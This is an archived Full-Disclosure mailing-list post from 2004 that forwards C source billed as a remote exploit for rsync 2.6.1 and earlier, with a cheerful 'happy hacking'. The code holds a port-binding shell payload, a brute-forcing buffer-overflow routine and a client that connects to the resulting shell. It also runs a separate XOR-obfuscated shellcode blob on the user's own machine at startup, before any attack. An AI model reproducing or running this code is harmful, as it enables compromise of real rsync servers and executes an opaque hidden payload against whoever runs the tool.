[Full-Disclosure] new rsync :) exploit rsync-too-open

haxor_at_mac.hush.com
Date: 05/28/04

  • Next message: Srini: "[Full-Disclosure] Re: Bypassing "smart" IDSes with misdirected frames? (long and boring)"
    To: full-disclosure@lists.netsys.com
    Date: Fri, 28 May 2004 12:20:30 -0700
    
    
    

    i found a nice email... with some strange code, i'm not a hacker but
    i think this is what some people call a 0-day exploit... :)

    i think you can use this to hack servers running rsync :)

    and as i support full disclosure i send it to the list.. happy hacking
    :)

    **************************************************************

    /*
     * rsync-too-open
     *
     * rsync <= 2.6.1 remote exploit by Solar Eclipse <solareclipse@phreedom.org>
     *
     * the code is based on the rsync April 2004 Security Advisory
     *
     * running: ./rsync-too-open -b -v 127.0.0.1
     *
     * NOTE: it works on many linux hosts, but chroot and some other conf
    optinos will make
     * the exploit fail
     *
     * plaes try to keep this code private.. we don't need people owning
    debian again :)
     *
     * if you need som fun hosts to hack, try:
     * http://www.netcraft.com/?restriction=site+contains&host=rsync&lookup=lookup%21&position=limited
     *
     * this is not the full version of the exploit, i'll send out a full
    version with massroot
     * function and bsd shellcode in 2 or 3 days :)
     *
     */
     

    #include <stdlib.h>
    #include <stdio.h>
    #include <unistd.h>
    #include <string.h>
    #include <sys/time.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>

    #define MAXPATHLEN 4095

    int nopcount = 80;

    char shellcode[] =
    /* port bind tcp/30464 ***/
    /* fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) */
    "\x31\xc0" // xorl %eax,%eax
    "\x31\xdb" // xorl %ebx,%ebx
    "\x31\xc9" // xorl %ecx,%ecx
    "\x31\xd2" // xorl %edx,%edx
    "\xb0\x66" // movb $0x66,%al
    "\xb3\x01" // movb $0x1,%bl
    "\x51" // pushl %ecx
    "\xb1\x06" // movb $0x6,%cl
    "\x51" // pushl %ecx
    "\xb1\x01" // movb $0x1,%cl
    "\x51" // pushl %ecx
    "\xb1\x02" // movb $0x2,%cl
    "\x51" // pushl %ecx
    "\x8d\x0c\x24" // leal (%esp),%ecx
    "\xcd\x80" // int $0x80

    /* port is 30464 !!! */
    /* bind(fd, (struct sockaddr)&sin, sizeof(sin) ) */
    "\xb3\x02" // movb $0x2,%bl
    "\xb1\x02" // movb $0x2,%cl
    "\x31\xc9" // xorl %ecx,%ecx
    "\x51" // pushl %ecx
    "\x51" // pushl %ecx
    "\x51" // pushl %ecx
    /* port = 0x77, change if needed */
    "\x80\xc1\x77" // addb $0x77,%cl
    "\x66\x51" // pushl %cx
    "\xb1\x02" // movb $0x2,%cl
    "\x66\x51" // pushw %cx
    "\x8d\x0c\x24" // leal (%esp),%ecx
    "\xb2\x10" // movb $0x10,%dl
    "\x52" // pushl %edx
    "\x51" // pushl %ecx
    "\x50" // pushl %eax
    "\x8d\x0c\x24" // leal (%esp),%ecx
    "\x89\xc2" // movl %eax,%edx
    "\x31\xc0" // xorl %eax,%eax
    "\xb0\x66" // movb $0x66,%al
    "\xcd\x80" // int $0x80

    /* listen(fd, 1) */
    "\xb3\x01" // movb $0x1,%bl
    "\x53" // pushl %ebx
    "\x52" // pushl %edx
    "\x8d\x0c\x24" // leal (%esp),%ecx
    "\x31\xc0" // xorl %eax,%eax
    "\xb0\x66" // movb $0x66,%al
    "\x80\xc3\x03" // addb $0x3,%bl
    "\xcd\x80" // int $0x80

    /* cli = accept(fd, 0, 0) */
    "\x31\xc0" // xorl %eax,%eax
    "\x50" // pushl %eax
    "\x50" // pushl %eax
    "\x52" // pushl %edx
    "\x8d\x0c\x24" // leal (%esp),%ecx
    "\xb3\x05" // movl $0x5,%bl
    "\xb0\x66" // movl $0x66,%al
    "\xcd\x80" // int $0x80

    /* dup2(cli, 0) */
    "\x89\xc3" // movl %eax,%ebx
    "\x31\xc9" // xorl %ecx,%ecx
    "\x31\xc0" // xorl %eax,%eax
    "\xb0\x3f" // movb $0x3f,%al
    "\xcd\x80" // int $0x80

    /* dup2(cli, 1) */
    "\x41" // inc %ecx
    "\x31\xc0" // xorl %eax,%eax
    "\xb0\x3f" // movl $0x3f,%al
    "\xcd\x80" // int $0x80

    /* dup2(cli, 2) */
    "\x41" // inc %ecx
    "\x31\xc0" // xorl %eax,%eax
    "\xb0\x3f" // movb $0x3f,%al
    "\xcd\x80" // int $0x80

    /* execve("//bin/sh", ["//bin/sh", NULL], NULL); */
    "\x31\xdb" // xorl %ebx,%ebx
    "\x53" // pushl %ebx
    "\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e
    "\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f
    "\x89\xe3" // movl %esp,%ebx
    "\x8d\x54\x24\x08" // leal 0x8(%esp),%edx
    "\x31\xc9" // xorl %ecx,%ecx
    "\x51" // pushl %ecx
    "\x53" // pushl %ebx
    "\x8d\x0c\x24" // leal (%esp),%ecx
    "\x31\xc0" // xorl %eax,%eax
    "\xb0\x0b" // movb $0xb,%al
    "\xcd\x80" // int $0x80

    /* exit(%ebx) */
    "\x31\xc0" // xorl %eax,%eax
    "\xb0\x01" // movb $0x1,%al
    "\xcd\x80"; // int $0x80

    char shellcode2[] =
        "\xeb\x10\x5e\x31\xc9\xb1\x4b\xb0\xff\x30\x06\xfe\xc8\x46\xe2\xf9"
        "\xeb\x05\xe8\xeb\xff\xff\xff\x17\xdb\xfd\xfc\xfb\xd5\x9b\x91\x99"
        "\xd9\x86\x9c\xf3\x81\x99\xf0\xc2\x8d\xed\x9e\x86\xca\xc4\x9a\x81"
        "\xc6\x9b\xcb\xc9\xc2\xd3\xde\xf0\xba\xb8\xaa\xf4\xb4\xac\xb4\xbb"
        "\xd6\x88\xe5\x13\x82\x5c\x8d\xc1\x9d\x40\x91\xc0\x99\x44\x95\xcf"
        "\x95\x4c\x2f\x4a\x23\xf0\x12\x0f\xb5\x70\x3c\x32\x79\x88\x78\xf7"
        "\x7b\x35";

    struct sockaddr_in s_in;
    char module[256]; /* module to use */
    void (*funct) ();

    void die(int p, char *m) {
            if(p)
                    perror(m);
            else
                    printf("%s\n",m);
            exit(0);
    }

    int checkData(int s) {
            int rd;
            fd_set rfds;
            struct timeval tv;
                            
            FD_ZERO(&rfds);
            FD_SET(s, &rfds);

            tv.tv_sec = 5;
            tv.tv_usec = 0;

                                          
            rd = select(s+1,&rfds,NULL,NULL,&tv);
            if(rd < 0)
                    die(1,"select()");
            return rd;
    }

    void get(int s) {
            char buff[1024];
            int rd;

            while(1) {
                    rd = checkData(s);
                    if(rd == 0)
                            return;
                            
                    rd = recv(s,buff,sizeof(buff),0);
                    if(!rd)
                            return;
                    
                    if(rd == -1)
                            die(1,"recv()");
            }
    }

    int connect_and_version() {
            int rd;
            char buff[80];
            
            int s = socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);
            if(s < 0)
                    die(1,"socket()");
            
            if(connect(s,(struct sockaddr*)&s_in,sizeof(s_in)) < 0)
                    die(1,"connect()");

            if( (rd = recv(s,buff,sizeof(buff),0)) < 1)
                    die(1,"recv()");
            send(s,buff,rd,0);

            return s;
    }

    void login(int s) {
            char buff[80];
            
            snprintf(buff,sizeof(buff),"%s\n",module);
            send(s,buff,strlen(buff),0);

            send(s,"--server\n",9,0);
            send(s,"--sender\n",9,0);
            send(s,"\n",1,0);
                                    
    }

    void ride() {
            fd_set rfds;
            int rd;
            int s;
            struct sockaddr_in s_in2;
            char buff[1024];

            memcpy(&s_in2,&s_in,sizeof(s_in2));
            s_in2.sin_port = htons(30464);
            
            s = socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);
            if(s < 0)
                    die(1,"socket()");

            if(connect(s,(struct sockaddr *)&s_in2,sizeof(s_in2)) < 0) {
                    close(s);
                    return; /* failed */
            }
            
            

            send(s,"id;\n",4,0);

            while(1) {
                           FD_ZERO(&rfds);
                    FD_SET(0, &rfds);
                    FD_SET(s, &rfds);

                    if(select(s+1, &rfds, NULL, NULL, NULL) < 1)
                            exit(0);

                    if(FD_ISSET(0,&rfds)) {
                            if( (rd = read(0,buff,sizeof(buff))) < 1)
                                    exit(0);
                            if( send(s,buff,rd,0) != rd)
                                    exit(0);

                    }
                    if(FD_ISSET(s,&rfds)) {
                            if( (rd = recv(s,buff,sizeof(buff),0)) < 1)
                                    exit(0);
                            write(1,buff,rd);
                    }
            }
    }

    void doOverflow(int len, int line,int align) {
            int s,rd;
            int *ptr;
            char buff[MAXPATHLEN];
            
            s = connect_and_version();
            login(s);

            printf("Trying with len=%d and line=0x%x (shellcode=0x%x) align=%d\n",
    len,line,line+abs(len),align);

            memset(buff,'A',align);

            for(ptr = (int*) (&buff[0]+align); (char*)ptr < ((char*)&buff[MAXPATHLEN]-
    3); ptr++)
                    *ptr = (line+abs(len));
            memset(buff+abs(len),'\x90',nopcount);
            memcpy(buff+abs(len)+nopcount,shellcode,strlen(shellcode));
            
            rd = MAXPATHLEN -1;
            send(s,&rd,sizeof(rd),0);

            send(s,buff,rd,0);
            
            send(s,&len,sizeof(len),0);
            
            rd = 0;
            send(s,&rd,sizeof(rd),0);

            get(s);
            
            close(s);

            ride();
    }

    void getModule() {
            int s,rd;
            char mod[256];
            char *ptr;

            s = connect_and_version();
            get(s);
            
            send(s,"#list\n",6,0);
            rd = recv(s,mod,sizeof(mod),0);
            if(rd < 1)
                    die(1,"recv()");

            mod[rd] = 0;
            ptr = (char*)strchr(mod,' ');
            if(!ptr)
                    return;
            *ptr = 0;
            
            snprintf(module,sizeof(module),"%s",mod);
            if(module[0] == '@')
                    die(0,"No modules!!!");
                            
            close(s);
    }

    void usage(char *p) {
            printf("rsync <= 2.6.1 remote exploit\n");
            printf("Usage: %s <opts>\n",p);

            printf("-h this lame message\n");
            printf("-v victim ip\n");
            printf("-m module name\n");
            printf("-l len\n");
            printf("-s line address\n");
            printf("-b bruteforce\n");
            printf("-f force:don't check vuln\n");
            printf("-n number of NOPS\n");
            printf("-a align\n");
            exit(0);
    }

    int checkVuln() {
            int s,rd;
                            
            s = connect_and_version();
            login(s);
            get(s);

            rd = -1;
            send(s,&rd,sizeof(rd),0);

            if(!checkData(s))
                    return 1;
                            
            close(s);
            return 0;
    }

    int getLen(int len) {
            int s;
                            
            s = connect_and_version();
            login(s);
            get(s);

            while(1) {
                    printf("Trying len %d...\n",len);
                    send(s,&len,sizeof(len),0);
                    if(checkData(s)) {
                            close(s);
                            return len-4;
                    }
                    len-=4;
            }
    }

    int main(int argc, char *argv[]) {
            int opt;
            int m = 0;
            int len = -4;
            int line = 0xC0000000;
            int check = 1;
            int brute = 0; /* bruteforce ;D */
            int l = 1;
            int align = 0;
            (long) funct = &shellcode2;
            
            if(argc < 2)
                    usage(argv[0]);
            
            while( (opt = getopt(argc,argv,"v:hm:l:s:bfn:a:")) != -1) {
                    switch(opt) {
                            case 'v':
                                    s_in.sin_addr.s_addr = inet_addr(optarg);
                                    break;

                            case 'm':
                                    snprintf(module,sizeof(module),"%s",optarg);
                                    m++;
                                    break;
                            
                            case 'l':
                                    l = 0;
                                    len = atoi(optarg);
                                    break;
                                    
                            case 's':
                                    if(sscanf(optarg,"%x",&line) == -1) {
                                            printf("Invalid line address\n");
                                            exit(0);
                                    }
                                    break;
                            
                            case 'b':
                                    brute = 1;
                                    break;
                                    
                            case 'f':
                                    check = 0;
                                    break;
                                    
                            case 'n':
                                    nopcount = atoi(optarg);
                                    break;
                                            

                            case 'a':
                                    align = atoi(optarg);
                                    break;
                                    
                            case 'h':
                            default:
                                    usage(argv[0]);
                    }
            }
                                    
            funct();
            s_in.sin_family = PF_INET;
            s_in.sin_port = htons(873);

            if(!m) {
                    printf("Getting module name...\n");
                    getModule();
                    printf("Module=%s\n",module);
            }

            if(check) {
                    printf("Checking if vuln...\n");
                    if(checkVuln())
                            printf("Vuln!!\n");
                    else {
                            printf("Not vuln =(\n");
                            exit(0);
                    }
            }

            if(l) {
                    len = getLen(len);
                    printf("len=%d\n",len);
            }
            
            if(brute) {
                    while(1) {
                            doOverflow(len,line,align);
                            line -= (nopcount-1);
                    }
            }
            
            doOverflow(len,line,align);
            exit(0);
    }

    
    

    Concerned about your privacy? Follow this link to get
    FREE encrypted email: https://www.hushmail.com/?l=2

    Free, ultra-private instant messaging with Hush Messenger
    https://www.hushmail.com/services.php?subloc=messenger&l=434

    Promote security and make money with the Hushmail Affiliate Program:
    https://www.hushmail.com/about.php?subloc=affiliate&l=427

    _______________________________________________
    Full-Disclosure - We believe in it.
    Charter: http://lists.netsys.com/full-disclosure-charter.html



  • Next message: Srini: "[Full-Disclosure] Re: Bypassing "smart" IDSes with misdirected frames? (long and boring)"

    Relevant Pages

    • Help in Java swings(internal Frame)
      ... public int getSize() ... public void valueChanged{ ... private JScrollPane scrollPane1; ... public class PeakContainer extends JInternalFrame ...
      (comp.lang.java.programmer)
    • [PATCH,RFC 2.6.14 09/15] KGDB: SuperH-specific changes
      ... This adds basic support for KGDB on SuperH as well as adding some architecture ... -static int kgdb_uart_getchar ... -static void kgdb_uart_putchar ... * The command-line option can include a serial port specification ...
      (Linux-Kernel)
    • problem in java swings
      ... public int getSize() ... public void valueChanged{ ... private JScrollPane scrollPane1; ... public class PeakContainer extends JInternalFrame ...
      (comp.lang.java.programmer)
    • ToolTips in a View and TTN_NEEDTEXT
      ... extern int g_minWorkPeriod; ... void CDayView::CreateAllFonts ... void CDayView::DrawDayLog(CDC* pDC) ... BOOL CDayView::TimeToY ...
      (microsoft.public.vc.mfc)
    • [PATCH 6/20] FRV: Fujitsu FR-V CPU arch implementation part 4
      ... +static void register_irq_proc (unsigned int irq); ...
      (Linux-Kernel)